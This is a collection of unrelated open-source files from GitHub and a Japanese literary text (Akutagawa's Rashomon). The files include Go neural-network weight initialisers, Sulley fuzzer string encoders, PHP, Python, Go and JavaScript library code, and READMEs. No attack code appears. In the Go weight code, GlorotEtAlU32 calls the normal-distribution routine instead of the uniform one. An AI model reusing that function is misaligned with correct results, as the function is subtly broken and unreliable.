math.Sqrt(2.0/fanIn) rand := rng.NewGaussianGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Gaussian(0.0, stdev) } return retVal } // GlorotEtAlN32 returns float32 weights sampled from a normal distribution // using the methods specified in Glorot et. al (2010). // See also: http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf func GlorotEtAlN32(gain float64, s ...int) []float32 { f64 := GlorotEtAlN64(gain, s...) retVal := make([]float32, len(f64)) for i, v := range f64 { retVal[i] = float32(v) } return retVal } // GlorotEtAlU64 returns float64 weights sampled from a uniform distribution // using the methods specified in Glorot et. al (2010). // See also: http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf // // For best results, use: // 1.0 for gain for weights that will be used in linear and/or sigmoid units // math.Sqrt(2.0) for gain for weights that will be used in ReLU units // math.Sqrt(2.0 / (1+alpha*alpha)) for ReLU that are leaky with alpha func GlorotEtAlU64(gain float64, s ...int) []float64 { var n1, n2 int fieldSize := 1 switch len(s) { case 0: panic("Glorot Uniform only works with Tensors of dimensions >= 1") case 1: // treat it as a col vec n1 = 1 n2 = s[0] default: n1, n2 = s[0], s[1] for _, v := range s[2:] { fieldSize *= v } } size := tensor.Shape(s).TotalSize() fanIn := float64((n1 + n2) * fieldSize) stdev := gain * math.Sqrt(2.0/fanIn) lo := 0.0 - math.Sqrt(3.0)*stdev hi := 0.0 + math.Sqrt(3.0)*stdev rand := rng.NewUniformGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Float64Range(lo, hi) } return retVal } // GlorotEtAlU32 returns float32 weights sampled from a uniform distribution // using the methods specified in Glorot et. al (2010). // See also: http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf // // For best results, use: // 1.0 for gain for weights that will be used in linear and/or sigmoid units // math.Sqrt(2.0) for gain for weights that will be used in ReLU units // math.Sqrt(2.0 / (1+alpha*alpha)) for ReLU that are leaky with alpha func GlorotEtAlU32(gain float64, s ...int) []float32 { f64 := GlorotEtAlN64(gain, s...) retVal := make([]float32, len(f64)) for i, v := range f64 { retVal[i] = float32(v) } return retVal } // HeEtAlN64 returns float64 weights sampled from a normal distro, using the methods // described in He et al (2015). The formula is: // randn(n) * sqrt(2/n) // See also https://arxiv.org/abs/1502.01852 // // For best results, use: // 1.0 for gain for weights that will be used in linear and/or sigmoid units // math.Sqrt(2.0) for gain for weights that will be used in ReLU units // math.Sqrt(2.0 / (1+alpha*alpha)) for ReLU that are leaky with alpha func HeEtAlN64(gain float64, s ...int) []float64 { var fanIn float64 switch len(s) { case 0, 1: panic("He et al only works with Tensors of dimensions >= 2") case 2: fanIn = float64(s[0]) default: fanIn = 1.0 for _, v := range s[1:] { fanIn *= float64(v) } } size := tensor.Shape(s).TotalSize() stdev := gain * math.Sqrt(1.0/fanIn) rand := rng.NewGaussianGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Gaussian(0.0, stdev) } return retVal } // HeEtAlU64 returns float64 weights sampled from a uniform distro, using the methods // described in He et al (2015). The formula is: // randn(n) * sqrt(2/n) // See also https://arxiv.org/abs/1502.01852 // // For best results, use: // 1.0 for gain for weights that will be used in linear and/or sigmoid units // math.Sqrt(2.0) for gain for weights that will be used in ReLU units // math.Sqrt(2.0 / (1+alpha*alpha)) for ReLU that are leaky with alpha func HeEtAlU64(gain float64, s ...int) []float64 { var fanIn float64 switch len(s) { case 0, 1: panic("He et al only works with Tensors of dimensions >= 2") case 2: fanIn = float64(s[0]) default: fanIn = 1.0 for _, v := range s[1:] { fanIn *= float64(v) } } size := tensor.Shape(s).TotalSize() stdev := gain * math.Sqrt(1.0/fanIn) lo := 0.0 - math.Sqrt(3.0)*stdev hi := 0.0 + math.Sqrt(3.0)*stdev rand := rng.NewUniformGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Float64Range(lo, hi) } return retVal }
{ "pile_set_name": "Github" }
Empty p5 sketch. Please replace contents of this file with appropriate readme information after finishing your p5 sketch.
{ "pile_set_name": "Github" }
// Copyright 2013 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #define SIG_REGS(ctxt) (((Ucontext*)(ctxt))->uc_mcontext) #define SIG_RAX(info, ctxt) (SIG_REGS(ctxt).mc_rax) #define SIG_RBX(info, ctxt) (SIG_REGS(ctxt).mc_rbx) #define SIG_RCX(info, ctxt) (SIG_REGS(ctxt).mc_rcx) #define SIG_RDX(info, ctxt) (SIG_REGS(ctxt).mc_rdx) #define SIG_RDI(info, ctxt) (SIG_REGS(ctxt).mc_rdi) #define SIG_RSI(info, ctxt) (SIG_REGS(ctxt).mc_rsi) #define SIG_RBP(info, ctxt) (SIG_REGS(ctxt).mc_rbp) #define SIG_RSP(info, ctxt) (SIG_REGS(ctxt).mc_rsp) #define SIG_R8(info, ctxt) (SIG_REGS(ctxt).mc_r8) #define SIG_R9(info, ctxt) (SIG_REGS(ctxt).mc_r9) #define SIG_R10(info, ctxt) (SIG_REGS(ctxt).mc_r10) #define SIG_R11(info, ctxt) (SIG_REGS(ctxt).mc_r11) #define SIG_R12(info, ctxt) (SIG_REGS(ctxt).mc_r12) #define SIG_R13(info, ctxt) (SIG_REGS(ctxt).mc_r13) #define SIG_R14(info, ctxt) (SIG_REGS(ctxt).mc_r14) #define SIG_R15(info, ctxt) (SIG_REGS(ctxt).mc_r15) #define SIG_RIP(info, ctxt) (SIG_REGS(ctxt).mc_rip) #define SIG_RFLAGS(info, ctxt) (SIG_REGS(ctxt).mc_rflags) #define SIG_CS(info, ctxt) (SIG_REGS(ctxt).mc_cs) #define SIG_FS(info, ctxt) (SIG_REGS(ctxt).mc_fs) #define SIG_GS(info, ctxt) (SIG_REGS(ctxt).mc_gs) #define SIG_CODE0(info, ctxt) ((info)->si_code) #define SIG_CODE1(info, ctxt) ((uintptr)(info)->si_addr)
{ "pile_set_name": "Github" }
{ "colors" : [ { "color" : { "color-space" : "srgb", "components" : { "alpha" : "1.000", "blue" : "220", "green" : "220", "red" : "220" } }, "idiom" : "universal" }, { "appearances" : [ { "appearance" : "luminosity", "value" : "dark" } ], "color" : { "color-space" : "srgb", "components" : { "alpha" : "1.000", "blue" : "0.314", "green" : "0.314", "red" : "0.314" } }, "idiom" : "universal" } ], "info" : { "author" : "xcode", "version" : 1 } }
{ "pile_set_name": "Github" }
######################################################################################################################## ### MSRPC NDR TYPES ######################################################################################################################## import struct from sulley import blocks, primitives, sex ######################################################################################################################## def ndr_pad (string): return "\x00" * ((4 - (len(string) & 3)) & 3) ######################################################################################################################## class ndr_conformant_array (blocks.block): ''' Note: this is not for fuzzing the RPC protocol but rather just representing an NDR string for fuzzing the actual client. ''' def __init__ (self, name, request, value, options={}): blocks.block.__init__(self, name, request, None, None, None, None) self.value = value self.options = options if not self.value: raise sex.SullyRuntimeError("MISSING LEGO.ndr_conformant_array DEFAULT VALUE") self.push(primitives.string(self.value)) def render (self): ''' We overload and extend the render routine in order to properly pad and prefix the string. [dword length][array][pad] ''' # let the parent do the initial render. blocks.block.render(self) # encode the empty string correctly: if self.rendered == "": self.rendered = "\x00\x00\x00\x00" else: self.rendered = struct.pack("<L", len(self.rendered)) + self.rendered + ndr_pad(self.rendered) return self.rendered ######################################################################################################################## class ndr_string (blocks.block): ''' Note: this is not for fuzzing the RPC protocol but rather just representing an NDR string for fuzzing the actual client. ''' def __init__ (self, name, request, value, options={}): blocks.block.__init__(self, name, request, None, None, None, None) self.value = value self.options = options if not self.value: raise sex.SullyRuntimeError("MISSING LEGO.tag DEFAULT VALUE") self.push(primitives.string(self.value)) def render (self): ''' We overload and extend the render routine in order to properly pad and prefix the string. [dword length][dword offset][dword passed size][string][pad] ''' # let the parent do the initial render. blocks.block.render(self) # encode the empty string correctly: if self.rendered == "": self.rendered = "\x00\x00\x00\x00" else: # ensure null termination. self.rendered += "\x00" # format accordingly. length = len(self.rendered) self.rendered = struct.pack("<L", length) \ + struct.pack("<L", 0) \ + struct.pack("<L", length) \ + self.rendered \ + ndr_pad(self.rendered) return self.rendered ######################################################################################################################## class ndr_wstring (blocks.block): ''' Note: this is not for fuzzing the RPC protocol but rather just representing an NDR string for fuzzing the actual client. ''' def __init__ (self, name, request, value, options={}): blocks.block.__init__(self, name, request, None, None, None, None) self.value = value self.options = options if not self.value: raise sex.SullyRuntimeError("MISSING LEGO.tag DEFAULT VALUE") self.push(primitives.string(self.value)) def render (self): ''' We overload and extend the render routine in order to properly pad and prefix the string. [dword length][dword offset][dword passed size][string][pad] ''' # let the parent do the initial render. blocks.block.render(self) # encode the empty string correctly: if self.rendered == "": self.rendered = "\x00\x00\x00\x00" else: # unicode encode and null terminate. self.rendered = self.rendered.encode("utf-16le") + "\x00" # format accordingly. length = len(self.rendered) self.rendered = struct.pack("<L", length) \ + struct.pack("<L", 0) \ + struct.pack("<L", length) \ + self.rendered \ + ndr_pad(self.rendered) return self.rendered
{ "pile_set_name": "Github" }
<?php /** * XUrlManager handles language parameter in url. * * XUrlManager can be used together with XLangMenu. * * The following example shows how to set up XUrlManager * in your application configuration (config/main.php): * <pre> * 'urlManager'=>array( * 'class' => 'ext.components.language.XUrlManager', * 'urlFormat'=>'path', * 'showScriptName'=>true, * 'appendParams'=>false, * 'supportedLanguages'=>array('et','de'), * 'rules'=>array( * '<language:\w{2}>' => 'site/index', * '<language:\w{2}>/<_c:\w+>' => '<_c>', * '<language:\w{2}>/<_c:\w+>/<_a:\w+>'=>'<_c>/<_a>', * '<language:\w{2}>/<_m:\w+>' => '<_m>', * '<language:\w{2}>/<_m:\w+>/<_c:\w+>' => '<_m>/<_c>', * '<language:\w{2}>/<_m:\w+>/<_c:\w+>/<_a:\w+>' => '<_m>/<_c>/<_a>', * ), * ), * </pre> * * @author Erik Uus <[email protected]> * @version 1.1.0 */ class XUrlManager extends CUrlManager { /** * @var array allowedLanguages the language codes that are suppported by application, * deafults to array('et','en') */ public $supportedLanguages=array('et','en'); public function parseUrl($pathInfo) { $result=parent::parseUrl($pathInfo); $urlLanguage = Yii::app()->getRequest()->getParam('language'); if ($urlLanguage && in_array($urlLanguage, $this->supportedLanguages)) Yii::app()->setLanguage($urlLanguage); return $result; } public function createUrl($route,$params=array(),$ampersand='&') { if(!isset($params['language'])) $params['language']=Yii::app()->language; return parent::createUrl($route,$params,$ampersand); } }
{ "pile_set_name": "Github" }
深入理解 Neutron -- OpenStack 网络实现 ============ [Neutron](https://wiki.openstack.org/wiki/Neutron) 是 OpenStack 项目中负责提供网络服务的组件,它基于软件定义网络的思想,实现了网络虚拟化下的资源管理。 本书将剖析 Neutron 组件的原理和实现。 在线阅读:[GitBook](https://www.gitbook.io/book/yeasy/openstack_understand_Neutron) 或 [Github](https://github.com/yeasy/openstack_understand_Neutron/blob/master/SUMMARY.md)。 * pdf 版本 [下载](https://www.gitbook.com/download/pdf/book/yeasy/openstack_understand_neutron) * epub 版本 [下载](https://www.gitbook.com/download/epub/book/yeasy/openstack_understand_neutron) 本书源码在 Github 上维护,欢迎参与: [https://github.com/yeasy/openstack_understand_Neutron](https://github.com/yeasy/openstack_understand_Neutron)。 感谢所有的 [贡献者](https://github.com/yeasy/openstack_understand_Neutron/graphs/contributors)。 ## 更新历史: * V0.9: 2015-06-29 * 添加对 DVR 更多细节分析。 * V0.8: 2015-03-24 * 添加 LBaaS 服务分析; * V0.7: 2015-03-23 * 添加 VXLAN 模式分析; * 添加 DVR 服务分析。 * V0.6: 2014-04-04 * 修正系统结构的图表; * 修正部分描述。 * V0.5: 2014-03-24 * 添加对 vlan 模式下具体规则的分析; * 更新 GRE 模式下 answerfile 的 IP 信息。 * V0.4: 2014-03-20 * 添加对安全组实现的完整分析,添加整体逻辑图表; * 添加 vlan 模式下的 RDO answer 文件(更新 IP 信息)。 * V0.3: 2014-03-10 * 添加 GRE 模式下对流表规则分析; * 添加 GRE 模式下的 answer 文件。 *V0.2: 2014-03-06 * 修正图表引用错误; * 添加对 GRE 模式下流表细节分析。 * V0.1: 2014-02-20 * 开始整体结构。 ## 参加步骤 * 在 GitHub 上 `fork` 到自己的仓库,如 `user/openstack_understand_Neutron`,然后 `clone` 到本地,并设置用户信息。 ``` $ git clone [email protected]:user/openstack_understand_Neutron.git $ cd openstack_understand_Neutron $ git config user.name "User" $ git config user.email [email protected] ``` * 修改代码后提交,并推送到自己的仓库。 ``` $ #do some change on the content $ git commit -am "Fix issue #1: change helo to hello" $ git push ``` * 在 GitHub 网站上提交 pull request。 * 定期使用项目仓库内容更新自己仓库内容。 ``` $ git remote add upstream https://github.com/yeasy/openstack_understand_Neutron $ git fetch upstream $ git checkout master $ git rebase upstream/master $ git push -f origin master ```
{ "pile_set_name": "Github" }
# coding: utf-8 # Modified Work: Copyright (c) 2018, 2020, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # Original Work: Copyright (c) 2014 Adam Knight # Original Work: Copyright (c) 2012 Adam T. Lindsay (original author) from oci._vendor.requests.auth import AuthBase try: # Python 3 from urllib.parse import urlparse except ImportError: # Python 2 from urlparse import urlparse from .sign import HeaderSigner class HTTPSignatureAuth(AuthBase): ''' Sign a request using the http-signature scheme. https://github.com/joyent/node-http-signature/blob/master/http_signing.md key_id is the mandatory label indicating to the server which secret to use secret is the filename of a pem file in the case of rsa, a password string in the case of an hmac algorithm algorithm is one of the six specified algorithms headers is a list of http headers to be included in the signing string, defaulting to "Date" alone. ''' def __init__(self, key_id='', secret='', algorithm=None, headers=None): headers = headers or [] self.header_signer = HeaderSigner( key_id=key_id, secret=secret, algorithm=algorithm, headers=headers ) self.uses_host = 'host' in [h.lower() for h in headers] def __call__(self, r): headers = self.header_signer.sign( r.headers, # 'Host' header unavailable in request object at this point # if 'host' header is needed, extract it from the url host=urlparse(r.url).netloc if self.uses_host else None, method=r.method, path=r.path_url ) r.headers.update(headers) return r
{ "pile_set_name": "Github" }
/* * Copyright (c) 2009, 2018, Oracle and/or its affiliates. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License, version 2.0, * as published by the Free Software Foundation. * * This program is also distributed with certain software (including * but not limited to OpenSSL) that is licensed under separate terms, as * designated in a particular file or component or in included license * documentation. The authors of MySQL hereby grant you an additional * permission to link the program and your derivative works with the * separately licensed software that they have included with MySQL. * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See * the GNU General Public License, version 2.0, for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #import <Cocoa/Cocoa.h> #import "MFButton.h" #include "mforms/radiobutton.h" @interface MFRadioButtonImpl : MFButtonImpl - (instancetype)initWithObject:(mforms::RadioButton*)aRadioButton NS_DESIGNATED_INITIALIZER; - (void)performCallback:(id)sender; @end
{ "pile_set_name": "Github" }
/* Copyright Sparebanken Vest Based on the Kubernetes controller example at https://github.com/kubernetes/sample-controller Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by informer-gen. DO NOT EDIT. package v2alpha1 import ( internalinterfaces "github.com/SparebankenVest/azure-key-vault-to-kubernetes/pkg/k8s/client/informers/externalversions/internalinterfaces" ) // Interface provides access to all the informers in this group version. type Interface interface { // AzureKeyVaultSecrets returns a AzureKeyVaultSecretInformer. AzureKeyVaultSecrets() AzureKeyVaultSecretInformer // AzureKeyVaultSecretIdentities returns a AzureKeyVaultSecretIdentityInformer. AzureKeyVaultSecretIdentities() AzureKeyVaultSecretIdentityInformer } type version struct { factory internalinterfaces.SharedInformerFactory namespace string tweakListOptions internalinterfaces.TweakListOptionsFunc } // New returns a new Interface. func New(f internalinterfaces.SharedInformerFactory, namespace string, tweakListOptions internalinterfaces.TweakListOptionsFunc) Interface { return &version{factory: f, namespace: namespace, tweakListOptions: tweakListOptions} } // AzureKeyVaultSecrets returns a AzureKeyVaultSecretInformer. func (v *version) AzureKeyVaultSecrets() AzureKeyVaultSecretInformer { return &azureKeyVaultSecretInformer{factory: v.factory, namespace: v.namespace, tweakListOptions: v.tweakListOptions} } // AzureKeyVaultSecretIdentities returns a AzureKeyVaultSecretIdentityInformer. func (v *version) AzureKeyVaultSecretIdentities() AzureKeyVaultSecretIdentityInformer { return &azureKeyVaultSecretIdentityInformer{factory: v.factory, namespace: v.namespace, tweakListOptions: v.tweakListOptions} }
{ "pile_set_name": "Github" }
/* eslint-disable @typescript-eslint/no-var-requires */ const archetypeConfig = require("@xarc/app-dev/config/archetype"); import * as LoadablePlugin from "@loadable/webpack-plugin"; module.exports = function() { const archetype = archetypeConfig(); return { plugins: archetype.babel.enableDynamicImport ? [new LoadablePlugin({ filename: "../server/loadable-stats.json" })] : [] }; };
{ "pile_set_name": "Github" }
<?php namespace Freshbitsweb\Laratables; use Illuminate\Support\Str; class RecordsTransformer { /** * @var string Class with laratables methods */ protected $class; /** * @var ColumnManager object */ protected $columnManager; /** * Initialize properties. * * @param Class to customize query/data/logic * * @return void */ public function __construct($class, $columnManager) { $this->class = $class; $this->columnManager = $columnManager; } /** * Transforms each record for Datatables display. * * @param \Illuminate\Support\Collection Records of the table * * @return \Illuminate\Support\Collection Records of the table */ public function transformRecords($records) { if (method_exists($this->class, 'laratablesModifyCollection')) { $records = $this->class::laratablesModifyCollection($records)->values(); } return $records->map(function ($item) { return $this->transformRecord($item); }); } /** * Transform the record data for Datatables display. * * @param \Illuminate\Database\Eloquent\Model Eloquent object * * @return \Illuminate\Database\Eloquent\Model Eloquent object */ protected function transformRecord($record) { $columnNames = $this->columnManager->getRequestedColumnNames(); $columnNames->transform(function ($item) use ($record) { return $this->getColumnValue($item, $record); }); $datatableParameters = $this->getDatatableParameters($record); return array_merge($datatableParameters, $columnNames->toArray()); } /** * Retuns column value to be displayed in datatables. * * @param mixed Column value from database * @param \Illuminate\Database\Eloquent\Model Eloquent object * * @return string */ protected function getColumnValue($columnName, $record) { // Set custom column value from the class static method if ($methodName = $this->columnManager->isCustomColumn($columnName)) { return $this->class::$methodName($record); } if ($methodName = $this->customisesColumnValue($columnName)) { return $this->class::$methodName($record); } if (isRelationColumn($columnName)) { return $this->getRelationColumnValue($columnName, $record); } if ($this->isCarbonInstance($record->$columnName)) { return $record->$columnName->format(config('laratables.date_format', 'Y-m-d H:i:s')); } return $record->$columnName; } /** * Decides whether there is a custom method on the class for the specified column. Returns method name if yes. * * @param string Name of the column * * @return bool|string */ protected function customisesColumnValue($columnName) { $methodName = Str::camel('laratables_'.$columnName); if (method_exists($this->class, $methodName)) { return $methodName; } return false; } /** * Returns the value of relation table column. * * @param string Name of the column * @param \Illuminate\Database\Eloquent\Model Eloquent object * * @return string */ protected function getRelationColumnValue($columnName, $record) { [$relationName, $relationColumnName] = getRelationDetails($columnName); if ($methodName = $this->customisesColumnValue($relationName.'_'.$relationColumnName)) { return $this->class::$methodName($record); } if ($record->$relationName) { return $record->$relationName->$relationColumnName; } return 'N/A'; } /** * Decides whether provided column value is a carbon date instance. * * @param mixed Column value * * @return bool */ protected function isCarbonInstance($columnValue) { return is_object($columnValue) && ( $columnValue instanceof \Carbon\Carbon || $columnValue instanceof \Illuminate\Support\Carbon ) ; } /** * Returns the datatable specific parameters for the record. * * @param \Illuminate\Database\Eloquent\Model Eloquent object * * @return array */ public function getDatatableParameters($record) { $datatableParameters = [ 'DT_RowId' => config('laratables.row_id_prefix').$record->{$record->getKeyName()}, ]; if (method_exists($this->class, 'laratablesRowClass')) { $datatableParameters['DT_RowClass'] = $this->class::laratablesRowClass($record); } if (method_exists($this->class, 'laratablesRowData')) { $datatableParameters['DT_RowData'] = $this->class::laratablesRowData($record); } return $datatableParameters; } }
{ "pile_set_name": "Github" }
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build ignore package main import ( "bytes" "flag" "fmt" "io" "log" "reflect" "strings" "unicode" "golang.org/x/text/collate" "golang.org/x/text/internal/gen" "golang.org/x/text/internal/ucd" "golang.org/x/text/language" "golang.org/x/text/unicode/rangetable" ) var versionList = flag.String("versions", "", "list of versions for which to generate RangeTables") const bootstrapMessage = `No versions specified. To bootstrap the code generation, run: go run gen.go --versions=4.1.0,5.0.0,6.0.0,6.1.0,6.2.0,6.3.0,7.0.0 and ensure that the latest versions are included by checking: http://www.unicode.org/Public/` func getVersions() []string { if *versionList == "" { log.Fatal(bootstrapMessage) } c := collate.New(language.Und, collate.Numeric) versions := strings.Split(*versionList, ",") c.SortStrings(versions) // Ensure that at least the current version is included. for _, v := range versions { if v == gen.UnicodeVersion() { return versions } } versions = append(versions, gen.UnicodeVersion()) c.SortStrings(versions) return versions } func main() { gen.Init() versions := getVersions() w := &bytes.Buffer{} fmt.Fprintf(w, "//go:generate go run gen.go --versions=%s\n\n", strings.Join(versions, ",")) fmt.Fprintf(w, "import \"unicode\"\n\n") vstr := func(s string) string { return strings.Replace(s, ".", "_", -1) } fmt.Fprintf(w, "var assigned = map[string]*unicode.RangeTable{\n") for _, v := range versions { fmt.Fprintf(w, "\t%q: assigned%s,\n", v, vstr(v)) } fmt.Fprintf(w, "}\n\n") var size int for _, v := range versions { assigned := []rune{} r := gen.Open("http://www.unicode.org/Public/", "", v+"/ucd/UnicodeData.txt") ucd.Parse(r, func(p *ucd.Parser) { assigned = append(assigned, p.Rune(0)) }) rt := rangetable.New(assigned...) sz := int(reflect.TypeOf(unicode.RangeTable{}).Size()) sz += int(reflect.TypeOf(unicode.Range16{}).Size()) * len(rt.R16) sz += int(reflect.TypeOf(unicode.Range32{}).Size()) * len(rt.R32) fmt.Fprintf(w, "// size %d bytes (%d KiB)\n", sz, sz/1024) fmt.Fprintf(w, "var assigned%s = ", vstr(v)) print(w, rt) size += sz } fmt.Fprintf(w, "// Total size %d bytes (%d KiB)\n", size, size/1024) gen.WriteVersionedGoFile("tables.go", "rangetable", w.Bytes()) } func print(w io.Writer, rt *unicode.RangeTable) { fmt.Fprintln(w, "&unicode.RangeTable{") fmt.Fprintln(w, "\tR16: []unicode.Range16{") for _, r := range rt.R16 { fmt.Fprintf(w, "\t\t{%#04x, %#04x, %d},\n", r.Lo, r.Hi, r.Stride) } fmt.Fprintln(w, "\t},") fmt.Fprintln(w, "\tR32: []unicode.Range32{") for _, r := range rt.R32 { fmt.Fprintf(w, "\t\t{%#08x, %#08x, %d},\n", r.Lo, r.Hi, r.Stride) } fmt.Fprintln(w, "\t},") fmt.Fprintf(w, "\tLatinOffset: %d,\n", rt.LatinOffset) fmt.Fprintf(w, "}\n\n") }
{ "pile_set_name": "Github" }
package client // import "github.com/docker/docker/client" import ( "context" "encoding/json" "net/url" "time" "github.com/docker/docker/api/types" "github.com/docker/docker/api/types/events" "github.com/docker/docker/api/types/filters" timetypes "github.com/docker/docker/api/types/time" ) // Events returns a stream of events in the daemon. It's up to the caller to close the stream // by cancelling the context. Once the stream has been completely read an io.EOF error will // be sent over the error channel. If an error is sent all processing will be stopped. It's up // to the caller to reopen the stream in the event of an error by reinvoking this method. func (cli *Client) Events(ctx context.Context, options types.EventsOptions) (<-chan events.Message, <-chan error) { messages := make(chan events.Message) errs := make(chan error, 1) started := make(chan struct{}) go func() { defer close(errs) query, err := buildEventsQueryParams(cli.version, options) if err != nil { close(started) errs <- err return } resp, err := cli.get(ctx, "/events", query, nil) if err != nil { close(started) errs <- err return } defer resp.body.Close() decoder := json.NewDecoder(resp.body) close(started) for { select { case <-ctx.Done(): errs <- ctx.Err() return default: var event events.Message if err := decoder.Decode(&event); err != nil { errs <- err return } select { case messages <- event: case <-ctx.Done(): errs <- ctx.Err() return } } } }() <-started return messages, errs } func buildEventsQueryParams(cliVersion string, options types.EventsOptions) (url.Values, error) { query := url.Values{} ref := time.Now() if options.Since != "" { ts, err := timetypes.GetTimestamp(options.Since, ref) if err != nil { return nil, err } query.Set("since", ts) } if options.Until != "" { ts, err := timetypes.GetTimestamp(options.Until, ref) if err != nil { return nil, err } query.Set("until", ts) } if options.Filters.Len() > 0 { //nolint:staticcheck // ignore SA1019 for old code filterJSON, err := filters.ToParamWithVersion(cliVersion, options.Filters) if err != nil { return nil, err } query.Set("filters", filterJSON) } return query, nil }
{ "pile_set_name": "Github" }
using System; namespace Volo.Abp.AspNetCore.Mvc.ApplicationConfigurations { [Serializable] public class CurrentUserDto { public bool IsAuthenticated { get; set; } public Guid? Id { get; set; } public Guid? TenantId { get; set; } public string UserName { get; set; } public string Name { get; set; } public string SurName { get; set; } public string Email { get; set; } public bool EmailVerified { get; set; } public string PhoneNumber { get; set; } public bool PhoneNumberVerified { get; set; } public string[] Roles { get; set; } } }
{ "pile_set_name": "Github" }
import * as reducerType from '../../unit/reducerType'; const initState = false; const reducer = (state = initState, action) => { switch (action.type) { case reducerType.KEY_DROP: return action.data; default: return state; } }; export default reducer;
{ "pile_set_name": "Github" }
This file was derived from http://www.gutenberg.org/cache/epub/1982/pg1982.txt -------- 羅生門 芥川龍之介  或日の暮方の事である。一人の下人が、羅生門の下で雨やみを待っていた。 広い門 の下には、この男の外に誰もいない。ただ、所々丹塗の剥げた、大きな円柱に、きりぎ りすが一匹とまっている。羅生門が、朱雀大路にある以上は、この男の外にも、雨やみ をする市女笠や揉烏帽子が、もう二三人はありそうなものである。それが、この男の外 に誰もいない。  何故かと云うと、この二三年、京都には、地震とか辻風とか火事とか饑饉とか云う災 いがつづいて起こった。そこで洛中のさびれ方は一通りでない。旧記によると、仏像や 仏具を打砕いて、その丹がついたり、金銀の箔(はく)がついたりした木を、路ばたに つみ重ねて薪の料(しろ)に売っていたと云うことである。洛中がその始末であるから、 羅生門の修理などは、元より誰も捨てて顧みる者がなかった。するとその荒れ果てたの をよい事にして、狐狸(こり)が棲む。盗人が棲む。とうとうしまいには、引取り手の ない死人を、この門へ持って来て、捨てて行くと云う習慣さえ出来た。そこで、日の目 が見えなくなると、誰でも気味を悪がって、この門の近所へは足ぶみをしない事になっ てしまったのである。  その代り又鴉が何処からか、たくさん集まって来た。昼間見ると、その鴉が何羽とな く輪を描いて、高い鴟尾(しび)のまわりを啼きながら、飛びまわっている。殊に門の 上の空が、夕焼けであかくなる時には、それが胡麻をまいたようにはっきり見えた。鴉 は、勿論、門の上にある死人の肉を、啄みに来るのである。ーー尤も今日は、刻限が遅 いせいか、一羽も見えない。唯、所々、崩れかかった、そうしてその崩れ目に長い草の はえた石段の上に、鴉の糞(くそ)が、点々と白くこびりついているのが見える。下人 は七段ある石段の一番上の段に洗いざらした紺の襖(あお)の尻を据えて、右の頬に出 来た、大きな面皰(にきび)を気にしながら、ぼんやり、雨のふるのを眺めているので ある。  作者はさっき、「下人が雨やみを待っていた」と書いた。しかし、下人は、雨がやん でも格別どうしようと云う当てはない。ふだんなら、勿論、主人の家へ帰る可き筈であ る。所がその主人からは、四五日前に暇を出された。前にも書いたように、当時京都の 町は一通りならず衰微していた。今この下人が、永年、使われていた主人から暇を出さ れたのも、この衰微の小さな余波に外ならない。だから、「下人が雨やみを待っていた」 と云うよりも、「雨にふりこめられた下人が、行き所がなくて、途方にくれていた」と 云う方が、適当である。その上、今日の空模様も少なからずこの平安朝の下人の Sentimentalismeに影響した。申(さる)の刻下がりからふり出した雨は、未だに上 がるけしきがない。そこで、下人は、何を措いても差当たり明日の暮しをどうにかしよ うとしてーー云わばどうにもならない事を、どうにかしようとして、とりとめもない考 えをたどりながら、さっきから朱雀大路にふる雨の音を聞くともなく聞いていた。  雨は羅生門をつつんで、遠くから、ざあっと云う音をあつめてくる。夕闇は次第に空 を低くして、見上げると、門の屋根が、斜めにつき出した甍(いらか)の先に、重たく うす暗い雲を支えている。  どうにもならない事を、どうにかする為には、手段を選んでいる遑(いとま)はない。 選んでいれば、築地(ついじ)の下か、道ばたの土の上で、饑死(うえじに)をするば かりである。そうして、この門の上へ持って来て、犬のように捨てられてしまうばかり である。選ばないとすればーー下人の考えは、何度も同じ道を低徊した揚句に、やっと この局所へ逢着した。しかしこの「すれば」は、いつもでたっても、結局「すれば」で あった。下人は、手段を選ばないという事を肯定しながらも、この「すれば」のかたを つける為に、当然、この後に来る可き「盗人になるより外に仕方がない」と云う事を、 積極的に肯定するだけの、勇気が出ずにいたのである。  下人は大きな嚏(くさめ)をして、それから、大儀そうに立上がった。夕冷えのする 京都は、もう火桶が欲しい程の寒さである。風は門の柱と柱との間を、夕闇と共に遠慮 なく、吹きぬける。丹塗の柱にとまっていたきりぎりすも、もうどこかへ行ってしまっ た。  下人は、頸をちぢめながら、山吹の汗衫(かざみ)に重ねた、紺の襖の肩を高くして 門のまわりを見まわした。雨風の患のない、人目にかかる惧のない、一晩楽にねられそ うな所があれば、そこでともかくも、夜を明かそうと思ったからである。すると、幸門 の上の楼へ上る、幅の広い、之も丹を塗った梯子が眼についた。上なら、人がいたにし ても、どうせ死人ばかりである。下人は、そこで腰にさげた聖柄(ひじりづか)の太刀 が鞘走らないように気をつけながら、藁草履をはいた足を、その梯子の一番下の段へふ みかけた。  それから、何分かの後である。羅生門の楼の上へ出る、幅の広い梯子の中段に、一人 の男が、猫のように身をちぢめて、息を殺しながら、上の容子を窺っていた。楼の上か 